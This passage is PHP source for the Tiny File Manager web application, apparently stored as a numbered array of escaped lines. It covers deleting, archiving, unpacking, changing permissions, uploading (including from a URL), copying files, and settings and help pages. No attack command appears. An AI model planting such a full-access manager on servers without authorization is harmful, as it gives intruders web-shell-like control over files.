(is_array(\$files) && count(\$files)) {", 938 => "        foreach (\$files as \$f) {", 939 => "            if (\$f != '') {", 940 => "                \$new_path = \$path . '/' . \$f;", 941 => "                if (!fm_rdelete(\$new_path)) {", 942 => "                    \$errors++;", 943 => "                }", 944 => "            }", 945 => "        }", 946 => "        if (\$errors == 0) {", 947 => "            fm_set_msg(lng('Selected files and folder deleted'));", 948 => "        } else {", 949 => "            fm_set_msg(lng('Error while deleting items'), 'error');", 950 => "        }", 951 => "    } else {", 952 => "        fm_set_msg(lng('Nothing selected'), 'alert');", 953 => "    }", 954 => "", 955 => "    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 956 => "}", 957 => "", 958 => "// Pack files", 959 => "if (isset(\$_POST['group']) && (isset(\$_POST['zip']) || isset(\$_POST['tar'])) && !FM_READONLY) {", 960 => "    \$path = FM_ROOT_PATH;", 961 => "    \$ext = 'zip';", 962 => "    if (FM_PATH != '') {", 963 => "        \$path .= '/' . FM_PATH;", 964 => "    }", 965 => "", 966 => "    //set pack type", 967 => "    \$ext = isset(\$_POST['tar']) ? 'tar' : 'zip';", 968 => "", 969 => "", 970 => "    if ((\$ext == \"zip\" && !class_exists('ZipArchive')) || (\$ext == \"tar\" && !class_exists('PharData'))) {", 971 => "        fm_set_msg(lng('Operations with archives are not available'), 'error');", 972 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 973 => "    }", 974 => "", 975 => "    \$files = \$_POST['file'];", 976 => "    if (!empty(\$files)) {", 977 => "        chdir(\$path);", 978 => "", 979 => "        if (count(\$files) == 1) {", 980 => "            \$one_file = reset(\$files);", 981 => "            \$one_file = basename(\$one_file);", 982 => "            \$zipname = \$one_file . '_' . date('ymd_His') . '.'.\$ext;", 983 => "        } else {", 984 => "            \$zipname = 'archive_' . date('ymd_His') . '.'.\$ext;", 985 => "        }", 986 => "", 987 => "        if(\$ext == 'zip') {", 988 => "            \$zipper = new FM_Zipper();", 989 => "            \$res = \$zipper->create(\$zipname, \$files);", 990 => "        } elseif (\$ext == 'tar') {", 991 => "            \$tar = new FM_Zipper_Tar();", 992 => "            \$res = \$tar->create(\$zipname, \$files);", 993 => "        }", 994 => "", 995 => "        if (\$res) {", 996 => "            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fm_enc(\$zipname)));", 997 => "        } else {", 998 => "            fm_set_msg(lng('Archive not created'), 'error');", 999 => "        }", 1000 => "    } else {", 1001 => "        fm_set_msg(lng('Nothing selected'), 'alert');", 1002 => "    }", 1003 => "", 1004 => "    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1005 => "}", 1006 => "", 1007 => "// Unpack", 1008 => "if (isset(\$_GET['unzip']) && !FM_READONLY) {", 1009 => "    \$unzip = \$_GET['unzip'];", 1010 => "    \$unzip = fm_clean_path(\$unzip);", 1011 => "    \$unzip = str_replace('/', '', \$unzip);", 1012 => "    \$isValid = false;", 1013 => "", 1014 => "    \$path = FM_ROOT_PATH;", 1015 => "    if (FM_PATH != '') {", 1016 => "        \$path .= '/' . FM_PATH;", 1017 => "    }", 1018 => "", 1019 => "    if (\$unzip != '' && is_file(\$path . '/' . \$unzip)) {", 1020 => "        \$zip_path = \$path . '/' . \$unzip;", 1021 => "        \$ext = pathinfo(\$zip_path, PATHINFO_EXTENSION);", 1022 => "        \$isValid = true;", 1023 => "    } else {", 1024 => "        fm_set_msg(lng('File not found'), 'error');", 1025 => "    }", 1026 => "", 1027 => "", 1028 => "    if ((\$ext == \"zip\" && !class_exists('ZipArchive')) || (\$ext == \"tar\" && !class_exists('PharData'))) {", 1029 => "        fm_set_msg(lng('Operations with archives are not available'), 'error');", 1030 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1031 => "    }", 1032 => "", 1033 => "    if (\$isValid) {", 1034 => "        //to folder", 1035 => "        \$tofolder = '';", 1036 => "        if (isset(\$_GET['tofolder'])) {", 1037 => "            \$tofolder = pathinfo(\$zip_path, PATHINFO_FILENAME);", 1038 => "            if (fm_mkdir(\$path . '/' . \$tofolder, true)) {", 1039 => "                \$path .= '/' . \$tofolder;", 1040 => "            }", 1041 => "        }", 1042 => "", 1043 => "        if(\$ext == \"zip\") {", 1044 => "            \$zipper = new FM_Zipper();", 1045 => "            \$res = \$zipper->unzip(\$zip_path, \$path);", 1046 => "        } elseif (\$ext == \"tar\") {", 1047 => "            try {", 1048 => "                \$gzipper = new PharData(\$zip_path);", 1049 => "                if (@\$gzipper->extractTo(\$path,null, true)) {", 1050 => "                    \$res = true;", 1051 => "                } else {", 1052 => "                    \$res = false;", 1053 => "                }", 1054 => "            } catch (Exception \$e) {", 1055 => "                //TODO:: need to handle the error", 1056 => "                \$res = true;", 1057 => "            }", 1058 => "        }", 1059 => "", 1060 => "        if (\$res) {", 1061 => "            fm_set_msg(lng('Archive unpacked'));", 1062 => "        } else {", 1063 => "            fm_set_msg(lng('Archive not unpacked'), 'error');", 1064 => "        }", 1065 => "", 1066 => "    } else {", 1067 => "        fm_set_msg(lng('File not found'), 'error');", 1068 => "    }", 1069 => "    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1070 => "}", 1071 => "", 1072 => "// Change Perms (not for Windows)", 1073 => "if (isset(\$_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {", 1074 => "    \$path = FM_ROOT_PATH;", 1075 => "    if (FM_PATH != '') {", 1076 => "        \$path .= '/' . FM_PATH;", 1077 => "    }", 1078 => "", 1079 => "    \$file = \$_POST['chmod'];", 1080 => "    \$file = fm_clean_path(\$file);", 1081 => "    \$file = str_replace('/', '', \$file);", 1082 => "    if (\$file == '' || (!is_file(\$path . '/' . \$file) && !is_dir(\$path . '/' . \$file))) {", 1083 => "        fm_set_msg(lng('File not found'), 'error');", 1084 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1085 => "    }", 1086 => "", 1087 => "    \$mode = 0;", 1088 => "    if (!empty(\$_POST['ur'])) {", 1089 => "        \$mode |= 0400;", 1090 => "    }", 1091 => "    if (!empty(\$_POST['uw'])) {", 1092 => "        \$mode |= 0200;", 1093 => "    }", 1094 => "    if (!empty(\$_POST['ux'])) {", 1095 => "        \$mode |= 0100;", 1096 => "    }", 1097 => "    if (!empty(\$_POST['gr'])) {", 1098 => "        \$mode |= 0040;", 1099 => "    }", 1100 => "    if (!empty(\$_POST['gw'])) {", 1101 => "        \$mode |= 0020;", 1102 => "    }", 1103 => "    if (!empty(\$_POST['gx'])) {", 1104 => "        \$mode |= 0010;", 1105 => "    }", 1106 => "    if (!empty(\$_POST['or'])) {", 1107 => "        \$mode |= 0004;", 1108 => "    }", 1109 => "    if (!empty(\$_POST['ow'])) {", 1110 => "        \$mode |= 0002;", 1111 => "    }", 1112 => "    if (!empty(\$_POST['ox'])) {", 1113 => "        \$mode |= 0001;", 1114 => "    }", 1115 => "", 1116 => "    if (@chmod(\$path . '/' . \$file, \$mode)) {", 1117 => "        fm_set_msg(lng('Permissions changed'));", 1118 => "    } else {", 1119 => "        fm_set_msg(lng('Permissions not changed'), 'error');", 1120 => "    }", 1121 => "", 1122 => "    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1123 => "}", 1124 => "", 1125 => "/*************************** /ACTIONS ***************************/", 1126 => "", 1127 => "// get current path", 1128 => "\$path = FM_ROOT_PATH;", 1129 => "if (FM_PATH != '') {", 1130 => "    \$path .= '/' . FM_PATH;", 1131 => "}", 1132 => "", 1133 => "// check path", 1134 => "if (!is_dir(\$path)) {", 1135 => "    fm_redirect(FM_SELF_URL . '?p=');", 1136 => "}", 1137 => "", 1138 => "// get parent folder", 1139 => "\$parent = fm_get_parent_path(FM_PATH);", 1140 => "", 1141 => "\$objects = is_readable(\$path) ? scandir(\$path) : array();", 1142 => "\$folders = array();", 1143 => "\$files = array();", 1144 => "\$current_path = array_slice(explode(\"/\",\$path), -1)[0];", 1145 => "if (is_array(\$objects) && fm_is_exclude_items(\$current_path)) {", 1146 => "    foreach (\$objects as \$file) {", 1147 => "        if (\$file == '.' || \$file == '..') {", 1148 => "            continue;", 1149 => "        }", 1150 => "        if (!FM_SHOW_HIDDEN && substr(\$file, 0, 1) === '.') {", 1151 => "            continue;", 1152 => "        }", 1153 => "        \$new_path = \$path . '/' . \$file;", 1154 => "        if (@is_file(\$new_path) && fm_is_exclude_items(\$file)) {", 1155 => "            \$files[] = \$file;", 1156 => "        } elseif (@is_dir(\$new_path) && \$file != '.' && \$file != '..' && fm_is_exclude_items(\$file)) {", 1157 => "            \$folders[] = \$file;", 1158 => "        }", 1159 => "    }", 1160 => "}", 1161 => "", 1162 => "if (!empty(\$files)) {", 1163 => "    natcasesort(\$files);", 1164 => "}", 1165 => "if (!empty(\$folders)) {", 1166 => "    natcasesort(\$folders);", 1167 => "}", 1168 => "", 1169 => "// upload form", 1170 => "if (isset(\$_GET['upload']) && !FM_READONLY) {", 1171 => "    fm_show_header(); // HEADER", 1172 => "    fm_show_nav_path(FM_PATH); // current path", 1173 => "    //get the allowed file extensions", 1174 => "    function getUploadExt() {", 1175 => "        \$extArr = explode(',', FM_UPLOAD_EXTENSION);", 1176 => "        if(FM_UPLOAD_EXTENSION && \$extArr) {", 1177 => "            array_walk(\$extArr, function(&\$x) {\$x = \".\$x\";});", 1178 => "            return implode(',', \$extArr);", 1179 => "        }", 1180 => "        return '';", 1181 => "    }", 1182 => "    ?>", 1183 => "", 1184 => "    <link href=\"https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css\" rel=\"stylesheet\">", 1185 => "    <div class=\"path\">", 1186 => "", 1187 => "        <div class=\"card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>\">", 1188 => "            <div class=\"card-header\">", 1189 => "                <ul class=\"nav nav-tabs card-header-tabs\">", 1190 => "                    <li class=\"nav-item\">", 1191 => "                        <a class=\"nav-link active\" href=\"#fileUploader\" data-target=\"#fileUploader\"><i class=\"fa fa-arrow-circle-o-up\"></i> <?php echo lng('UploadingFiles') ?></a>", 1192 => "                    </li>", 1193 => "                    <li class=\"nav-item\">", 1194 => "                        <a class=\"nav-link\" href=\"#urlUploader\" class=\"js-url-upload\" data-target=\"#urlUploader\"><i class=\"fa fa-link\"></i> Upload from URL</a>", 1195 => "                    </li>", 1196 => "                </ul>", 1197 => "            </div>", 1198 => "            <div class=\"card-body\">", 1199 => "                <p class=\"card-text\">", 1200 => "                    <a href=\"?p=<?php echo FM_PATH ?>\" class=\"float-right\"><i class=\"fa fa-chevron-circle-left go-back\"></i> <?php echo lng('Back')?></a>", 1201 => "                    <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>", 1202 => "                </p>", 1203 => "", 1204 => "                <form action=\"<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>\" class=\"dropzone card-tabs-container\" id=\"fileUploader\" enctype=\"multipart/form-data\">", 1205 => "                    <input type=\"hidden\" name=\"p\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1206 => "                    <input type=\"hidden\" name=\"fullpath\" id=\"fullpath\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1207 => "                    <div class=\"fallback\">", 1208 => "                        <input name=\"file\" type=\"file\" multiple/>", 1209 => "                    </div>", 1210 => "                </form>", 1211 => "", 1212 => "                <div class=\"upload-url-wrapper card-tabs-container hidden\" id=\"urlUploader\">", 1213 => "                    <form id=\"js-form-url-upload\" class=\"form-inline\" onsubmit=\"return upload_from_url(this);\" method=\"POST\" action=\"\">", 1214 => "                        <input type=\"hidden\" name=\"type\" value=\"upload\" aria-label=\"hidden\" aria-hidden=\"true\">", 1215 => "                        <input type=\"url\" placeholder=\"URL\" name=\"uploadurl\" required class=\"form-control\" style=\"width: 80%\">", 1216 => "                        <button type=\"submit\" class=\"btn btn-primary ml-3\"><?php echo lng('Upload') ?></button>", 1217 => "                        <div class=\"lds-facebook\"><div></div><div></div><div></div></div>", 1218 => "                    </form>", 1219 => "                    <div id=\"js-url-upload__list\" class=\"col-9 mt-3\"></div>", 1220 => "                </div>", 1221 => "            </div>", 1222 => "        </div>", 1223 => "    </div>", 1224 => "    <script src=\"https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js\"></script>", 1225 => "    <script>", 1226 => "        Dropzone.options.fileUploader = {", 1227 => "            timeout: 120000,", 1228 => "            maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>,", 1229 => "            acceptedFiles : \"<?php echo getUploadExt() ?>\",", 1230 => "            init: function () {", 1231 => "                this.on(\"sending\", function (file, xhr, formData) {", 1232 => "                    let _path = (file.fullPath) ? file.fullPath : file.name;", 1233 => "                    document.getElementById(\"fullpath\").value = _path;", 1234 => "                    xhr.ontimeout = (function() {", 1235 => "                        toast('Error: Server Timeout');", 1236 => "                    });", 1237 => "                }).on(\"success\", function (res) {", 1238 => "                    let _response = JSON.parse(res.xhr.response);", 1239 => "                    if(_response.status == \"error\") {", 1240 => "                        toast(_response.info);", 1241 => "                    }", 1242 => "                }).on(\"error\", function(file, response) {", 1243 => "                    toast(response);", 1244 => "                });", 1245 => "            }", 1246 => "        }", 1247 => "    </script>", 1248 => "    <?php", 1249 => "    fm_show_footer();", 1250 => "    exit;", 1251 => "}", 1252 => "", 1253 => "// copy form POST", 1254 => "if (isset(\$_POST['copy']) && !FM_READONLY) {", 1255 => "    \$copy_files = isset(\$_POST['file']) ? \$_POST['file'] : null;", 1256 => "    if (!is_array(\$copy_files) || empty(\$copy_files)) {", 1257 => "        fm_set_msg(lng('Nothing selected'), 'alert');", 1258 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1259 => "    }", 1260 => "", 1261 => "    fm_show_header(); // HEADER", 1262 => "    fm_show_nav_path(FM_PATH); // current path", 1263 => "    ?>", 1264 => "    <div class=\"path\">", 1265 => "        <div class=\"card <?php echo fm_get_theme(); ?>\">", 1266 => "            <div class=\"card-header\">", 1267 => "                <h6><?php echo lng('Copying') ?></h6>", 1268 => "            </div>", 1269 => "            <div class=\"card-body\">", 1270 => "                <form action=\"\" method=\"post\">", 1271 => "                    <input type=\"hidden\" name=\"p\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1272 => "                    <input type=\"hidden\" name=\"finish\" value=\"1\">", 1273 => "                    <?php", 1274 => "                    foreach (\$copy_files as \$cf) {", 1275 => "                        echo '<input type=\"hidden\" name=\"file[]\" value=\"' . fm_enc(\$cf) . '\">' . PHP_EOL;", 1276 => "                    }", 1277 => "                    ?>", 1278 => "                    <p class=\"break-word\"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', \$copy_files) ?></b></p>", 1279 => "                    <p class=\"break-word\"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>", 1280 => "                        <label for=\"inp_copy_to\"><?php echo lng('DestinationFolder') ?>:</label>", 1281 => "                        <?php echo FM_ROOT_PATH ?>/<input type=\"text\" name=\"copy_to\" id=\"inp_copy_to\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1282 => "                    </p>", 1283 => "                    <p class=\"custom-checkbox custom-control\"><input type=\"checkbox\" name=\"move\" value=\"1\" id=\"js-move-files\" class=\"custom-control-input\"><label for=\"js-move-files\" class=\"custom-control-label\" style=\"vertical-align: sub\"> <?php echo lng('Move') ?></label></p>", 1284 => "                    <p>", 1285 => "                        <button type=\"submit\" class=\"btn btn-success\"><i class=\"fa fa-check-circle\"></i> <?php echo lng('Copy') ?></button> &nbsp;", 1286 => "                        <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>\" class=\"btn btn-outline-primary\"><i class=\"fa fa-times-circle\"></i> <?php echo lng('Cancel') ?></a></b>", 1287 => "                    </p>", 1288 => "                </form>", 1289 => "            </div>", 1290 => "        </div>", 1291 => "    </div>", 1292 => "    <?php", 1293 => "    fm_show_footer();", 1294 => "    exit;", 1295 => "}", 1296 => "", 1297 => "// copy form", 1298 => "if (isset(\$_GET['copy']) && !isset(\$_GET['finish']) && !FM_READONLY) {", 1299 => "    \$copy = \$_GET['copy'];", 1300 => "    \$copy = fm_clean_path(\$copy);", 1301 => "    if (\$copy == '' || !file_exists(FM_ROOT_PATH . '/' . \$copy)) {", 1302 => "        fm_set_msg(lng('File not found'), 'error');", 1303 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1304 => "    }", 1305 => "", 1306 => "    fm_show_header(); // HEADER", 1307 => "    fm_show_nav_path(FM_PATH); // current path", 1308 => "    ?>", 1309 => "    <div class=\"path\">", 1310 => "        <p><b>Copying</b></p>", 1311 => "        <p class=\"break-word\">", 1312 => "            Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . \$copy)) ?><br>", 1313 => "            Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>", 1314 => "        </p>", 1315 => "        <p>", 1316 => "            <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(\$copy) ?>&amp;finish=1\"><i class=\"fa fa-check-circle\"></i> Copy</a></b> &nbsp;", 1317 => "            <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(\$copy) ?>&amp;finish=1&amp;move=1\"><i class=\"fa fa-check-circle\"></i> Move</a></b> &nbsp;", 1318 => "            <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>\"><i class=\"fa fa-times-circle\"></i> Cancel</a></b>", 1319 => "        </p>", 1320 => "        <p><i><?php echo lng('Select folder') ?></i></p>", 1321 => "        <ul class=\"folders break-word\">", 1322 => "            <?php", 1323 => "            if (\$parent !== false) {", 1324 => "                ?>", 1325 => "                <li><a href=\"?p=<?php echo urlencode(\$parent) ?>&amp;copy=<?php echo urlencode(\$copy) ?>\"><i class=\"fa fa-chevron-circle-left\"></i> ..</a></li>", 1326 => "                <?php", 1327 => "            }", 1328 => "            foreach (\$folders as \$f) {", 1329 => "                ?>", 1330 => "                <li>", 1331 => "                    <a href=\"?p=<?php echo urlencode(trim(FM_PATH . '/' . \$f, '/')) ?>&amp;copy=<?php echo urlencode(\$copy) ?>\"><i class=\"fa fa-folder-o\"></i> <?php echo fm_convert_win(\$f) ?></a></li>", 1332 => "                <?php", 1333 => "            }", 1334 => "            ?>", 1335 => "        </ul>", 1336 => "    </div>", 1337 => "    <?php", 1338 => "    fm_show_footer();", 1339 => "    exit;", 1340 => "}", 1341 => "", 1342 => "if (isset(\$_GET['settings']) && !FM_READONLY) {", 1343 => "    fm_show_header(); // HEADER", 1344 => "    fm_show_nav_path(FM_PATH); // current path", 1345 => "    global \$cfg, \$lang, \$lang_list;", 1346 => "    ?>", 1347 => "", 1348 => "    <div class=\"col-md-8 offset-md-2 pt-3\">", 1349 => "        <div class=\"card mb-2 <?php echo fm_get_theme(); ?>\">", 1350 => "            <h6 class=\"card-header\">", 1351 => "                <i class=\"fa fa-cog\"></i>  <?php echo lng('Settings') ?>", 1352 => "                <a href=\"?p=<?php echo FM_PATH ?>\" class=\"float-right\"><i class=\"fa fa-window-close\"></i> <?php echo lng('Cancel')?></a>", 1353 => "            </h6>", 1354 => "            <div class=\"card-body\">", 1355 => "                <form id=\"js-settings-form\" action=\"\" method=\"post\" data-type=\"ajax\" onsubmit=\"return save_settings(this)\">", 1356 => "                    <input type=\"hidden\" name=\"type\" value=\"settings\" aria-label=\"hidden\" aria-hidden=\"true\">", 1357 => "                    <div class=\"form-group row\">", 1358 => "                        <label for=\"js-language\" class=\"col-sm-3 col-form-label\"><?php echo lng('Language') ?></label>", 1359 => "                        <div class=\"col-sm-5\">", 1360 => "                            <select class=\"form-control\" id=\"js-language\" name=\"js-language\">", 1361 => "                                <?php", 1362 => "                                function getSelected(\$l) {", 1363 => "                                    global \$lang;", 1364 => "                                    return (\$lang == \$l) ? 'selected' : '';", 1365 => "                                }", 1366 => "                                foreach (\$lang_list as \$k => \$v) {", 1367 => "                                    echo \"<option value='\$k' \".getSelected(\$k).\">\$v</option>\";", 1368 => "                                }", 1369 => "                                ?>", 1370 => "                            </select>", 1371 => "                        </div>", 1372 => "                    </div>", 1373 => "                    <?php", 1374 => "                    //get ON/OFF and active class", 1375 => "                    function getChecked(\$conf, \$val, \$txt) {", 1376 => "                        if(\$conf== 1 && \$val ==1) {", 1377 => "                            return \$txt;", 1378 => "                        } else if(\$conf == '' && \$val == '') {", 1379 => "                            return \$txt;", 1380 => "                        } else {", 1381 => "                            return '';", 1382 => "                        }", 1383 => "                    }", 1384 => "                    ?>", 1385 => "                    <div class=\"form-group row\">", 1386 => "                        <label for=\"js-err-rpt-1\" class=\"col-sm-3 col-form-label\"><?php echo lng('ErrorReporting') ?></label>", 1387 => "                        <div class=\"col-sm-9\">", 1388 => "                            <div class=\"btn-group btn-group-toggle\" data-toggle=\"buttons\">", 1389 => "                                <label class=\"btn btn-secondary <?php echo getChecked(\$report_errors, 1, 'active') ?>\">", 1390 => "                                    <input type=\"radio\" name=\"js-error-report\" id=\"js-err-rpt-1\" autocomplete=\"off\" value=\"true\" <?php echo getChecked(\$report_errors, 1, 'checked') ?> > ON", 1391 => "                                </label>", 1392 => "                                <label class=\"btn btn-secondary <?php echo getChecked(\$report_errors, '', 'active') ?>\">", 1393 => "                                    <input type=\"radio\" name=\"js-error-report\" id=\"js-err-rpt-0\" autocomplete=\"off\" value=\"false\" <?php echo getChecked(\$report_errors, '', 'checked') ?> > OFF", 1394 => "                                </label>", 1395 => "                            </div>", 1396 => "                        </div>", 1397 => "                    </div>", 1398 => "", 1399 => "                    <div class=\"form-group row\">", 1400 => "                        <label for=\"js-hdn-1\" class=\"col-sm-3 col-form-label\"><?php echo lng('ShowHiddenFiles') ?></label>", 1401 => "                        <div class=\"col-sm-9\">", 1402 => "                            <div class=\"btn-group btn-group-toggle\" data-toggle=\"buttons\">", 1403 => "                                <label class=\"btn btn-secondary <?php echo getChecked(\$show_hidden_files, 1, 'active') ?>\">", 1404 => "                                    <input type=\"radio\" name=\"js-show-hidden\" id=\"js-hdn-1\" autocomplete=\"off\" value=\"true\" <?php echo getChecked(\$show_hidden_files, 1, 'checked') ?> > ON", 1405 => "                                </label>", 1406 => "                                <label class=\"btn btn-secondary <?php echo getChecked(\$show_hidden_files, '', 'active') ?>\">", 1407 => "                                    <input type=\"radio\" name=\"js-show-hidden\" id=\"js-hdn-0\" autocomplete=\"off\" value=\"false\" <?php echo getChecked(\$show_hidden_files, '', 'checked') ?> > OFF", 1408 => "                                </label>", 1409 => "                            </div>", 1410 => "                        </div>", 1411 => "                    </div>", 1412 => "", 1413 => "                    <div class=\"form-group row\">", 1414 => "                        <label for=\"js-hid-1\" class=\"col-sm-3 col-form-label\"><?php echo lng('HideColumns') ?></label>", 1415 => "                        <div class=\"col-sm-9\">", 1416 => "                            <div class=\"btn-group btn-group-toggle\" data-toggle=\"buttons\">", 1417 => "                                <label class=\"btn btn-secondary <?php echo getChecked(\$hide_Cols, 1, 'active') ?>\">", 1418 => "                                    <input type=\"radio\" name=\"js-hide-cols\" id=\"js-hid-1\" autocomplete=\"off\" value=\"true\" <?php echo getChecked(\$hide_Cols, 1, 'checked') ?> > ON", 1419 => "                                </label>", 1420 => "                                <label class=\"btn btn-secondary <?php echo getChecked(\$hide_Cols, '', 'active') ?>\">", 1421 => "                                    <input type=\"radio\" name=\"js-hide-cols\" id=\"js-hid-0\" autocomplete=\"off\" value=\"false\" <?php echo getChecked(\$hide_Cols, '', 'checked') ?> > OFF", 1422 => "                                </label>", 1423 => "                            </div>", 1424 => "                        </div>", 1425 => "                    </div>", 1426 => "", 1427 => "                    <div class=\"form-group row\">", 1428 => "                        <label for=\"js-dir-1\" class=\"col-sm-3 col-form-label\"><?php echo lng('CalculateFolderSize') ?></label>", 1429 => "                        <div class=\"col-sm-9\">", 1430 => "                            <div class=\"btn-group btn-group-toggle\" data-toggle=\"buttons\">", 1431 => "                                <label class=\"btn btn-secondary <?php echo getChecked(\$calc_folder, 1, 'active') ?>\">", 1432 => "                                    <input type=\"radio\" name=\"js-calc-folder\" id=\"js-dir-1\" autocomplete=\"off\" value=\"true\" <?php echo getChecked(\$calc_folder, 1, 'checked') ?> > ON", 1433 => "                                </label>", 1434 => "                                <label class=\"btn btn-secondary <?php echo getChecked(\$calc_folder, '', 'active') ?>\">", 1435 => "                                    <input type=\"radio\" name=\"js-calc-folder\" id=\"js-dir-0\" autocomplete=\"off\" value=\"false\" <?php echo getChecked(\$calc_folder, '', 'checked') ?> > OFF", 1436 => "                                </label>", 1437 => "                            </div>", 1438 => "                        </div>", 1439 => "                    </div>", 1440 => "                    ", 1441 => "                    <div class=\"form-group row\">", 1442 => "                        <label for=\"js-3-1\" class=\"col-sm-3 col-form-label\"><?php echo lng('Theme') ?></label>", 1443 => "                        <div class=\"col-sm-5\">", 1444 => "                            <select class=\"form-control\" id=\"js-3-0\" name=\"js-theme-3\" style=\"width:100px;\">", 1445 => "                         <option value='light' <?php if(\$theme == \"light\"){echo \"selected\";} ?>><?php echo lng('light') ?></option>", 1446 => "                         <option value='dark' <?php if(\$theme == \"dark\"){echo \"selected\";} ?>><?php echo lng('dark') ?></option>", 1447 => "                            </select>", 1448 => "                        </div>", 1449 => "                    </div>", 1450 => "", 1451 => "                    <div class=\"form-group row\">", 1452 => "                        <div class=\"col-sm-10\">", 1453 => "                            <button type=\"submit\" class=\"btn btn-success\"> <i class=\"fa fa-check-circle\"></i> <?php echo lng('Save'); ?></button>", 1454 => "                        </div>", 1455 => "                    </div>", 1456 => "", 1457 => "                </form>", 1458 => "            </div>", 1459 => "        </div>", 1460 => "    </div>", 1461 => "    <?php", 1462 => "    fm_show_footer();", 1463 => "    exit;", 1464 => "}", 1465 => "", 1466 => "if (isset(\$_GET['help'])) {", 1467 => "    fm_show_header(); // HEADER", 1468 => "    fm_show_nav_path(FM_PATH); // current path", 1469 => "    global \$cfg, \$lang;", 1470 => "    ?>", 1471 => "", 1472 => "    <div class=\"col-md-8 offset-md-2 pt-3\">", 1473 => "        <div class=\"card mb-2 <?php echo fm_get_theme(); ?>\">", 1474 => "            <h6 class=\"card-header\">", 1475 => "                <i class=\"fa fa-exclamation-circle\"></i> <?php echo lng('Help') ?>", 1476 => "                <a href=\"?p=<?php echo FM_PATH ?>\" class=\"float-right\"><i class=\"fa fa-window-close\"></i> <?php echo lng('Cancel')?></a>", 1477 => "            </h6>", 1478 => "            <div class=\"card-body\">", 1479 => "                <div class=\"row\">", 1480 => "                    <div class=\"col-xs-12 col-sm-6\">", 1481 => "                        <p><h3><a href=\"https://github.com/prasathmani/tinyfilemanager\" target=\"_blank\" class=\"app-v-title\"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>", 1482 => "                        <p>Author: Prasath Mani</p>", 1483 => "                        <p>Mail Us: <a href=\"mailto:ccpprogrammers@gmail.com\">ccpprogrammers[at]gmail.com</a> </p>", 1484 => "                    </div>", 1485 => "                    <div class=\"col-xs-12 col-sm-6\">", 1486 => "                        <div class=\"card\">", 1487 => "                            <ul class=\"list-group list-group-flush\">", 1488 => "                                <li class=\"list-group-item\"><a href=\"https://github.com/prasathmani/tinyfilemanager/wiki\" target=\"_blank\"><i class=\"fa fa-question-circle\"></i> <?php echo lng('Help Documents') ?> </a> </li>", 1489 => "                                <li class=\"list-group-item\"><a href=\"https://github.com/prasathmani/tinyfilemanager/issues\" target=\"_blank\"><i class=\"fa fa-bug\"></i> <?php echo lng('Report Issue') ?></a></li>", 1490 => "                                <li class=\"list-group-item\"><a href=\"javascript:latest_release_info('<?php echo VERSION; ?>');\"><i class=\"fa fa-link\"> </i> <?php echo lng('Check Latest Version') ?></a></li>", 1491 => "                                <?php if(!FM_READONLY) { ?>", 1492 => "                                <li class=\"list-group-item\"><a href=\"javascript:show_new_pwd();\"><i class=\"fa fa-lock\"></i> <?php echo lng('Generate new password hash') ?></a></li>", 1493 => "                                <?php } ?>", 1494 => "                            </ul>", 1495 => "                        </div>", 1496 => "                    </div>", 1497 => "                </div>", 1498 => "                <div class=\"row js-new-pwd hidden mt-2\">", 1499 => "                    <div class=\"col-12\">", 1500 => "                        <form class=\"form-inline\" onsubmit=\"return new_password_hash(this)\" method=\"POST\" action=\"\">", 1501 => "                            <input type=\"hidden\" name=\"type\" value=\"pwdhash\" aria-label=\"hidden\" aria-hidden=\"true\">", 1502 => "                            <div class=\"form-group mb-2\">", 1503 => "                                <label for=\"staticEmail2\"><?php echo lng('Generate new password hash') ?></label>", 1504 => "                            </div>", 1505 => "                            <div class=\"form-group mx-sm-3 mb-2\">", 1506 => "                                <label for=\"inputPassword2\" class=\"sr-only\"><?php echo lng('Password') ?></label>", 1507 => "                                <input type=\"text\" class=\"form-control btn-sm\" id=\"inputPassword2\" name=\"inputPassword2\" placeholder=\"Password\" required>", 1508 => "                            </div>", 1509 => "                            <button type=\"submit\" class=\"btn btn-success btn-sm mb-2\"><?php echo lng('Generate') ?></button>", 1510 => "                        </form>", 1511 => "                        <textarea class=\"form-control\" rows=\"2\" readonly id=\"js-pwd-result\"></textarea>", 1512 => "                    </div>", 1513 => "                </div>", 1514 => "            </div>", 1515 => "        </div>", 1516 => "    </div>", 1517 => "    <?php", 1518 => "    fm_show_footer();", 1519 => "    exit;", 1520 => "}", 1521 => "", 1522 => "// file viewer", 1523 => "if (isset(\$_GET['view'])) {", 1524 => "    \$file = \$_GET['view'];", 1525 => "    \$quickView = (isset(\$_GET['quickView']) && \$_GET['quickView'] == 1) ? true : false;", 1526 => "    